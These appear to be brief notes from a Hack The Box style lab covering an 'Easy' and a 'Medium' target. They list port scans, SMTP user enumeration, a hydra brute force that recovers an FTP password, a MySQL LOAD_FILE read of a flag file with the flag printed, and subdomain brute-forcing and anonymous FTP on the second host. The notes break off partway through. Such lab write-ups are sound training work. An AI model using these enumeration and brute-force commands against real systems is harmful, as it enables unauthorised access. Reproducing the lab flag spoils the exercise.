Easy

Discovered open port 25/tcp on 10.129.207.136   
Discovered open port 80/tcp on 10.129.207.136   
Discovered open port 3389/tcp on 10.129.207.136 
Discovered open port 587/tcp on 10.129.207.136  
Discovered open port 443/tcp on 10.129.207.136  
Discovered open port 3306/tcp on 10.129.207.136 
Discovered open port 21/tcp on 10.129.207.136

smtp-user-enum -M RCPT -U users.list -t 10.129.207.136 -D inlanefreight.htb
10.129.207.136: [email protected] exists

hydra -l fiona -P passwords.list <ftp://$HOST>
[21][ftp] host: 10.129.207.136   login: fiona   password: 987654321

FTP Server is broken, nothing can be done.

mysql -u fiona -h $HOST -p --ssl=FALSE
select LOAD_FILE("/Users/Administrator/Desktop/flag.txt");
HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49}

Medium

Discovered open port 53/tcp on 10.129.28.50                                     
Discovered open port 22/tcp on 10.129.28.50                                     
Discovered open port 110/tcp on 10.129.28.50                                    
Discovered open port 995/tcp on 10.129.28.50                                    
Discovered open port 2121/tcp on 10.129.28.50

./subbrute.py -p inlanefreight.htb -r res
app.inlanefreight.htb,A,10.129.200.5

nmap -sC -sV $HOST -vv -p-
Discovered open port 30021/tcp on 10.129.28.50

ftp anonymous@$HOST -p 30021

A folder simon, a file mynotes.txt